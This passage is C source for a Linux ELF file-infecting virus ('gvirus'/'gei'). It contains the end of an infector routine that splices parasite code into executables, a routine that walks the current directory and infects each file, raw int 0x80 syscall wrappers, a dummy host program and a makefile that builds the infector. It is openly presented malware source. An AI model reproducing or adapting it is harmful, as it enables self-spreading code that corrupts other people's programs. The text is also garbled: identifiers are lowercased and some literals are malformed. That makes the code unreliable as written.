ehdr->e_shoff += align_code_size;
/* make a new file */
tmp_fd = g_open(tmpfile, o_wronly|o_creat|o_trunc, stat.st_mode);
if (tmp_fd == -1) {
goto err;
}
size = new_code_pos - (void *) ehdr;
if (g_write(tmp_fd, ehdr, size) != size)
goto err;
__memcpy(tmp_v_code, v_code, v_code_size);
__memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry));
if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) {
goto err;
}
if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
goto err;
}
g_close(tmp_fd);
g_munmap(ehdr, stat.st_size);
g_close(fd);
if (g_rename(tmpfile, file) == -1) {
goto err;
}
return 0;
err:
if (tmp_fd != -1)
g_close(tmp_fd);
if (ehdr)
g_munmap(ehdr, stat.st_size);
if (fd != -1)
g_close(fd);
return -1;
}
static inline void virus_code(void)
{
char dirdata[4096];
struct dirent *dirp;
int curfd;
int nbyte, c;
unsigned long para_code_start_addr;
__asm__ volatile (
"push %%eax\n\t"
"push %%ecx\n\t"
"push %%edx\n\t"
::);
char curdir[2] = {".", 0};
char newline = "\n";
curdir[0] = ".";
curdir[1] = 0;
newline = "\n";
if ((curfd = g_open(curdir, o_rdonly, 0)) < 0)
goto out;
/* get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= paracode_retaddr_addr_offset - 1;
/* infecting */
while ((nbyte = g_getdents(curfd, (struct dirent *)
&dirdata, sizeof(dirdata))) > 0) {
c = 0;
dirp = (struct dirent *) &dirdata;
do {
v_debug_write(1, dirp->d_name, dirp->d_reclen - (unsigned long)
&(((struct dirent *) 0)->d_name));
v_debug_write(1, &newline, sizeof(newline));
infect_virus(dirp->d_name,
(void *) para_code_start_addr,
paracode_length,
paracode_retaddr_addr_offset);
c += dirp->d_reclen;
if (c >= nbyte)
break;
dirp = (struct dirent *)((char *)dirp + dirp->d_reclen);
} while (1);
}
g_close(curfd);
out:
__asm__ volatile (
"popl %%edx\n\t"
"popl %%ecx\n\t"
"popl %%eax\n\t"
"addl $0x102c, %%esp\n\t"
"popl %%ebx\n\t"
"popl %%esi\n\t"
"popl %%edi\n\t"
"popl %%ebp\n\t"
"jmp return\n"
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xaabbccdd\n\t" /* push ret_addr */
"ret\n"
::);
}
void parasite_code(void)
{
virus_code();
}
void parasite_code_end(void) {parasite_code();}
------------------------------ gvirus.c ------------------------------
------------------------------ gunistd.h ------------------------------
#ifndef _g2_unistd_
#define _g2_unistd_
#define g__syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
res = -1; \
} \
return (type) (res); \
} while (0)
#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name)); \
g__syscall_return(type,__res); \
}
#define g_syscall1(type,name,type1,arg1) \
type g_##name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name),"b" ((long)(arg1))); \
g__syscall_return(type,__res); \
}
#define g_syscall2(type,name,type1,arg1,type2,arg2) \
type g_##name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
g__syscall_return(type,__res); \
}
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type g_##name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
g__syscall_return(type,__res); \
}
#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"s" ((long)(arg4))); \
g__syscall_return(type,__res); \
}
#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__nr_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"s" ((long)(arg4)),"d" ((long)(arg5))); \
g__syscall_return(type,__res); \
}
#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__nr_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"s" ((long)(arg4)),"d" ((long)(arg5)), \
"0" ((long)(arg6))); \
g__syscall_return(type,__res); \
}
#endif /* _g2_unistd_ */
------------------------------ gunistd.h ------------------------------
------------------------------ gsyscall.h ------------------------------
#ifndef _g2_syscall_
#define _g2_syscall_
#include <sys/types.h>
#include <sys/mman.h>
#include <linux/unistd.h>
#include <linux/fcntl.h>
#include "gunistd.h"
#define null 0
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* we must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline g_syscall1(int, close, int, fd);
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline g_syscall2(int, munmap, void *, addr, size_t, len);
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf);
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
"rep ; movsl\n\t"
"testb $2,%b4\n\t"
"je 1f\n\t"
"movsw\n"
"1:\ttestb $1,%b4\n\t"
"je 2f\n\t"
"movsb\n"
"2:"
: "=&c" (d0), "=&d" (d1), "=&s" (d2)
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
: "memory");
return (to);
}
#endif /* _g2_syscall_ */
------------------------------ gsyscall.h ------------------------------
------------------------------ foo.c ------------------------------
#include <stdio.h>
int main()
{
puts("real elf point");
return 0;
}
------------------------------ foo.c ------------------------------
------------------------------ makefile ------------------------------
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -o2 $< gvirus.o -o gei -wall -dndebug
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -o2 -c -o gvirus.o -fomit-frame-pointer -wall -dndebug
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
------------------------------ makefile ------------------------------
|
